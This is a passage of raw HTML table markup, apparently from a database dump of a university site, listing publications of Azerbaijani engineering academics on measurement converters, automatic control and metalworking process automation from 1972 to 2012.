преобразователей подсистем предварительной обработки информации&nbsp; в АСУ ТП</p></td><td width=\"102\"><p>конфрансын материаллары</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Профессор-мцяллим щейятинин вя аспирантларын АзТУ-нун 55 иллийиня щяср едилмиш елми конфрансын материаллары, Бакы, АзТУ, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>«Идаряетмя системляринин елемент вя гурьулары» (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p>&nbsp;</p><p>Dərslik</p></td><td width=\"84\"><p>Мяммядов Щ Я.</p></td><td width=\"102\"><p>«Елм» няшриййаты», Бакы, 2006</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>221</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Подсистема автоматического контроля температурного режима на металло-режущих станках</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>Мамедов Г.А.</p></td><td width=\"102\"><p>Материалы научно-технической конференции, Баку, АзТУ, 2008</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Keyfiyyətə nəzarət,diaqnostika üsul və cihazları</p></td><td width=\"102\"><p>Metodik göstərişlər</p></td><td width=\"84\"><p>Əfəndiyev O.Z.</p><p>Kərimli T.İ.</p><p>Fərhadov V.Q.</p></td><td width=\"102\"><p>Bakı, MAA,</p><p>2008</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Avtomatlaşdırmanın əsasları (ali məktəblər üçün dərslik)</p></td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><p>Məmmədov H.Ə.</p><p>Namazov M.B.</p></td><td width=\"102\"><p>Bakı, Elm,</p><p>2009</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>461</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Подсистема получе-ния информации о температуре нагрева обмотки электро-двигателя</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Əfəfndi-yev O.Z.</p></td><td width=\"102\"><p>Milli Aviasiya Akademiyasının Elmi əsərləri №2(2)</p><p>Bakı,2009</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Metal emalı sistemlərində informasiyanı avtomatik daxiletmə altsistemi</p></td><td width=\"102\"><p>konfrans</p><p>materialları</p></td><td width=\"84\"><p>Əliyev K.K.</p><p>&nbsp;</p></td><td width=\"102\"><p>AzTU-nun 53-cü TETK materialları,AzTU,2010</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\">&nbsp;Юлчмя техникасынын ясаслары (Али мяктябляр цчцн дярслик)</td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><p>Мяммядов Щ.Я.</p><p>&nbsp;</p></td><td width=\"102\"><p>Бакы, 2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>292</p></td></tr></tbody></table></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Юлчмя техникасынын ясаслары</p></td></tr></tbody></table></div>(Дярс вясаити)</td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>НязярхановЯ.Т.</p><p>Фярщадов В.Г.</p></td></tr></tbody></table></div>Исмайылов Н.М<p>&nbsp;</p></td><td width=\"102\"><p>Бакы, МАА,2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>196</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Подсистема получения&nbsp; и обра-ботки информации о силовых характеристиках процесса резания</p></td></tr></tbody></table></td><td width=\"102\"><p>konfrans</p><p>materialları</p></td><td width=\"84\"><p>&nbsp;</p><p>Кулиева Г.С.</p><p>&nbsp;</p></td><td width=\"102\"><p>AzTU-nun 53-cü TETK materialları,AzTU,2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Получение и и обработка информации для управления ходом технологического процесса металлообработки</p></td><td width=\"102\"><p>Елми ясярляр</p></td><td width=\"84\"><p>Мяммядов Щ.Я..</p><p>&nbsp;</p></td><td width=\"102\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Елми ясярляр, №2, АзТУ, 2011, (Бейнялхалг E/T конф.&nbsp; «Мцасир информасийа вя коммуникасийа технол. инкишаф&nbsp; перспективляри»,</p></td></tr></tbody></table></div>Бакы, Елм,2011)</td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>К вопросу построения систем автоматического контроля пара-</p></td></tr></tbody></table></div>метров процесса механообра-ботки</td><td width=\"102\"><p>---</p></td><td width=\"84\"><p>Мяммядов Щ.Я.</p><p>&nbsp;</p></td><td width=\"102\"><p>«Автоматика вя идаряетмянин мцасир проблем-ляри» Республика елми-техники конф. материал-лары,Бакы, 2012</p></td><td width=\"60\"><p>2012</p></td><td width=\"60\"><p>3</p></td></tr></tbody></table>  <br></div>'),(1551,967,'en','Ramiz Ahmadov','Ramiz Ahmadov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Устройство для автоматической периодической откачки жидкости из малодебитных глубиннонасосных нефтяных скважин</p></td><td width=\"102\"><p>&nbsp;</p><p>&nbsp;</p><p>статья</p></td><td width=\"84\"><p>Набиев И.А.</p><p>Рустамов Н.С.</p><p>Савин Ю.А.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №4, 1972</p></td><td width=\"60\"><p>1972</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>К вопросу дискретизации процесса&nbsp; преоб-разования интегральных характеристик сигналов переменного тока произвольной формы</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №1, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Анализ методической погрешности преоб-разования интегральных характеристик периодических сигналов</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №6, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь действующего значения периодического напряжения в цифровой код</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «ИИС-75», т.2, Кишинев, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Аналого-цифровой преобразователь мощности и действующего значения переменного напряжения</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№499662, Бюллетень изобретений, №2, Москва, 1976</p><p>&nbsp;</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный аналого-цифровой преобразователь на интегральных микросхемах</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Приборы и техника эксперимента,</p><p>№2, АН СССР,&nbsp; Москва, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>A functional analog-digital converter based on integrated microcircuits</p></td><td width=\"102\"><p>article</p></td><td width=\"84\"><p>Abdullaev I.M.</p><p>Akhmedov R.M.</p></td><td width=\"102\"><p>Plenum Publishing Corporation, New</p><p>York, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный генератор &nbsp;автоматической установки для контрольных испытаний электродвигателей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Техническая информация, серия «Энергетика и автоматика»</p><p>№ 12, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Разработка и исследование измерительных преобразователей интегральных характеристик сигналов переменного тока произвольной</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Мамедов Н.Я.</p><p>Эфендиев С.Т.</p></td><td width=\"102\"><p>&nbsp;</p><p>Тезисы докладов Всесоюзной конференции&nbsp; «ИИС-77», т.2, Баку, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Некоторые вопросы создания измерительных преобразователей сигналов переменного тока инфранизкой частоты</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>&nbsp;</p><p>Тезисы докладов 1 Закавказской конференции&nbsp; Молодых ученых и аспирантов «Разработка и внедрение АСУ ТП в цветной и черной металлургии , химической и др.отраслях промышленности», Диижан, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Исследование,разработка и изготовление образца быстродействующего регистри-рующего прибора для измерения напряжения, тока и мощности при кон-трольных испытаниях электродвигателей мощностью до 100 квт</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Набиев И.А.</p><p>Абдуллаев И.М.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Отчет НИР, № Гос.регистрации 77031917, Баку, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>120</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный преобразователь</p><p>«напряжение-частота»</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>&nbsp;</p><p>Приборы и техника эксперимента,</p><p>№5, АН СССР, Москва, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Измерение коэффициента нелинейных искажений инфранизкочастотных сигналов для систем контроля параметров электронных устройств</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>В сб. «Системы контроля параметров электронных устройств», Киев, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Универсальный цифровой прибор для измерения параметров сигналов переменного тока</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «Методы и средства аналого-цифрового преобразования параметров электрических сигналов и цепей», Пенза, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Принципы построения функциональных АЦП переменного тока инфранизкой частоты</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Тезисы докладов1 Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Об одном методе преобразования активной мощности в цифровой код</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Тезисы докладов П Республиканской научной конференции аспирантов&nbsp; вузов Азербайджана, Баку, 1979</p></td><td width=\"60\"><p>1979</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Сравнительный анализ характеристик некоторых структур интегрирующих АЦП переменного тока</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Дадашева Ф.Ш.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «ИИС-79», Ленинград,&nbsp; 1979</p></td><td width=\"60\"><p>1979</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№855518, Бюллетень изобретений, №30, Москва, 1981</p><p>&nbsp;</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Аналого-цифровой преобразователь</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№894861, Бюллетень изобретений, №48, Москва,1981</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Анализ динамической погрешности аналого-цифрового преобразования мгновенных значений при измерении действующего значения напряжения инфранизких частот</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Материалы Ш Республиканской научной конференции аспирантов вузов&nbsp; Азербайджана, Баку, 1981</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Методы и средства измерения переменного напряжения на инфранизких частотах</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Элементы автоматики и измерительные информационные системы. Тематический сб. научных трудов, Баку, 1982</p></td><td width=\"60\"><p>1982</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Вопросы построения автоматизированных информационно-измерительных систем контроля качества электроэнергии</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Метрология, стандартизация и управление качеством. Тематический сб.научных трудов, Баку, 1983</p></td><td width=\"60\"><p>1983</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Многофункциональное аналого-цифровое измерительное устройство</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p><p>Информационный листок, серия «Автоматика и приборостроение»,</p><p>№1, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Современное состояние и перспективы применения микро-ЭВМ и микро-процессоров в системах автоматического контроля и управления технологическими процессами</p></td><td width=\"102\"><p>Обзорный</p><p>материал</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Абдурагимов Ф.А.</p></td><td width=\"102\"><p>Обзорная информация, серия</p><p>«Автоматика и приборостроение»,</p><p>Баку, АзНИИНТИ, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Автоматическое измерение активной мощности в однофазной и трехфазной электрических цепях</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Межвузовский сб.научных трудов «Автоматизация экспериментальных исследований», Рязань, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№1150569, Бюллетень изобретений, №14, Москва, 1985</p><p>&nbsp;</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Автоматизированная информационно-измерительная система контроля качества погружных электродвигателей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Приборы,средства автоматизации и системы управления» вып.5,Москва, НИИТЭИприборостроения, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Выбор рациональной совокупности контро-лируемых&nbsp; параметров при построении одного класса систем автоматического контроля</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Интегрированные системы управления и переработки информации Тематический сб. научных трудов, Баку,1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Определение погрешности от квантования во времени при преобразовании энергетических параметров&nbsp; электрических сигналов</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Оруджева А.А.</p></td><td width=\"102\"><p>Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Об одном методе&nbsp; аналого-цифрового преобразования действующего значения переменного напряжения</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Мамедова Л.Т.</p></td><td width=\"102\"><p>Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Применение интегрирующих частотно-временных преобразователей для построения цифровых измерителей активной мощности</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p></td><td width=\"102\"><p>Интегрирующие частотные время-импульсные преобразователи и цифровые средства измерения на их основе. Тезисы докладов, Пенза,1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Современное состояние и перспективы развития систем автоматического контроля электрических параметров промышленных объектов</p></td><td width=\"102\"><p>Обзорный</p><p>материал</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Абдурагимов Ф.А.</p></td><td width=\"102\"><p>Обзорная информация, серия «Авто-матика и приборостроение», Баку, АзНИИНТИ, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>26</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Лабораторные работы по курсу «Электрические измерения и информационные устройства роботов»</p></td><td width=\"102\"><p>Методическое посовие</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Баку, изд-во АзПИ, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>42</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>An approach to the architecture of Automatized measuring-computing systems used for electric power quality control</p></td><td width=\"102\"><p>Material of seminar</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>&nbsp;</p><p>Abstracts.&nbsp; Seminar of Intelligent Measurement Systems, Budapest Technical University, 1990</p></td><td width=\"60\"><p>1990</p></td><td width=\"60\"><p>12</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Структурные и алгоритмические принципы построения микропроцессорных измерительно-вычислительных устройств параметров электроэнергетических объектов</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Сб. «Микропроцессорные системы и средства управления в технических системах», Баку, 1992</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Использование принципа развертывающего преобразования при измерении действующего значения переменного напряжения инфранизкой частоты</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>&nbsp;</p></td><td width=\"102\"><p>Сб. «Информационно-измерительная техника», вып. 19, Пенза, 1992</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>К вопросу проектирования&nbsp; систем автоматизации процесса резания на металлорежущих станках</p></td><td width=\"102\"><p>Материалы</p><p>семинара</p></td><td width=\"84\"><p>Джафаров Э.М.</p></td><td width=\"102\"><p>Материалы Республиканского научно-методического семинара «Методология САПР в машино-строении», Баку, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Устройство автоматического контроля нагрузки на валу по потребляемой мощности главным двигателем металлорежущего станка</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №2, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Universal automatic control system of industrial objects microprocessor-based&nbsp; hard wares</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Abstracts. The first National Congress on the Development in Collaborations between Industries and Edicational/Research&nbsp; Centres, Tabriz University, Iran, 1993</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>О расширении функциональных возможностей интегрирующих преобра-зователей&nbsp; напряжения в интервал времени</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №1, 1996</p></td><td width=\"60\"><p>1996</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Информационное обеспечение систем&nbsp;&nbsp; автоматического управления техноло-гическими&nbsp; процессами металлообработки на основе микропроцессорных средств</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №1, 1997</p></td><td width=\"60\"><p>1997</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Построение автоматизированной измерительно-вычислительной системы&nbsp; контроля промышленных объектов</p></td><td width=\"102\"><p>&nbsp;</p><p>тезис</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"84\"><p>Гурбанов Т.Б.</p><p>Намазов М.Б.</p></td><td width=\"102\"><p>Тезисы докладов Международной научно-технической конференции «Актуальные проблемы пищевой, легкой промышленности и сферы обслуживания», Гянджа,1999</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Применение одного вида аппроксимации</p><p>нелинейных характеристик&nbsp; для построения функциональных преобразователей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Ученые записки АзТУ», №2, 1999</p></td><td width=\"60\"><p>1999</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Техники системлярдя информасийа- юлчмя гурьулары (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p>&nbsp;</p><p>Dərslik</p></td><td width=\"84\"><p>Гурбанов Т.Б.</p><p>Намазов М.Б</p></td><td width=\"102\"><p>«Елм» няшриййаты, Бакы, 2000</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>302</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Многофункциональные интегрирующие АЦП систем контроля и управления</p></td><td width=\"102\"><p>Материалы докладов</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Материалы докладов 47-й юбилейной научно-технической&nbsp; конференции, частьП, АзТУ, 2000</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Металкясмя системляриндя информасийаны дахилетмя алтсистеми</p></td><td width=\"102\"><p>tezis</p></td><td width=\"84\"><p>Нагвердийев А.Т.</p></td><td width=\"102\"><p>АзТУ-нун 45-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2002</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Метал емалы&nbsp; просесляринин идаря едилмяси цчцн информасийа мянбяляринин анализи вя сечилмяси</p></td><td width=\"102\"><p>&nbsp;tezis</p></td><td width=\"84\"><p>Ряжябов Ф.А.</p></td><td width=\"102\"><p>АзТУ-нун 46-жы ТЕТК-нын мярузяляринин тезисляри, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Некоторые вопросы построения систем автоматического контроля&nbsp; ТП металлообработки</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>Мамедов Г.А.</p></td><td width=\"102\"><p>Материалы научно-практической конференции, Баку, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Верижиляр системи</p></td><td width=\"102\"><p>Dərs vəsaiti</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Шур» няшриййаты, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>201</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Метал емалы системляриндя буружу момент щаггында информасийанын илкин емалы алтсистеми</p></td><td width=\"102\"><p>Konfransın materialları</p></td><td width=\"84\"><p>Нябийев Е.А.</p></td><td width=\"102\"><p>Али мяктяб тялябяляринин ХЫХ Республика елми конфрансынын материаллары, Бакы, 2003</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Методические указания к лабораторным работам по дисциплине «Элементы и устройства систем управления»</p></td><td width=\"102\"><p>Методическoе</p><p>пособие</p></td><td width=\"84\"><p>Намазов М.Б.</p><p>Гасымов А.Ю.</p></td><td width=\"102\"><p>Баку, 